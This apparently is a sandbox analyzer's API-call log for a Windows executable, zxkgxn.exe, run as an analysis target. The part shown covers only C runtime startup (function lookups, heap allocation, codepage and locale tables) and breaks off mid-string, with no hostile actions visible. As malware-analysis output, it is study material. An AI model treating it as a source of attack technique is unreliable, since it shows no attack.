# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 30.06.2019 09:00:48.062 Process: id = "1" image_name = "zxkgxn.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe" page_root = "0x4d2be000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa18 [0028.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x5f5168f0, dwHighDateTime=0x1d52f22)) [0028.932] GetCurrentThreadId () returned 0xa18 [0028.932] GetCurrentProcessId () returned 0xa14 [0028.932] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14927331472) returned 1 [0028.965] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0028.965] GetProcessHeap () returned 0x620000 [0028.966] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0028.966] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0028.967] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0028.968] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0028.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0028.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0028.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0028.968] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0028.968] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3bc) returned 0x631c58 [0028.968] GetCurrentThreadId () returned 0xa18 [0028.968] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x18) returned 0x630760 [0028.968] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x632020 [0028.968] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x412697, hStdOutput=0x273947f1, hStdError=0x0)) [0028.969] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0028.969] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0028.969] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0028.969] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " [0028.969] GetEnvironmentStringsW () returned 0x632828* [0028.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0028.969] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x565) returned 0x633300 [0028.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x633300, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0028.969] FreeEnvironmentStringsW (penv=0x632828) returned 1 [0028.969] GetLastError () returned 0x7f [0028.969] SetLastError (dwErrCode=0x7f) [0028.969] GetLastError () returned 0x7f [0028.969] SetLastError (dwErrCode=0x7f) [0028.969] GetLastError () returned 0x7f [0028.969] SetLastError (dwErrCode=0x7f) [0028.969] GetACP () returned 0x4e4 [0028.969] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x220) returned 0x633870 [0028.969] GetLastError () returned 0x7f [0028.969] SetLastError (dwErrCode=0x7f) [0028.969] IsValidCodePage (CodePage=0x4e4) returned 1 [0028.969] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0028.969] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0028.969] GetLastError () returned 0x7f [0028.969] SetLastError (dwErrCode=0x7f) [0028.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.970] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0028.970] GetLastError () returned 0x7f [0028.970] SetLastError (dwErrCode=0x7f) [0028.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.970] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0028.970] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0028.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x71\x46\x39\x27\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0028.970] GetLastError () returned 0x7f [0028.970] SetLastError (dwErrCode=0x7f) [0028.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.970] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0028.970] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0028.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x7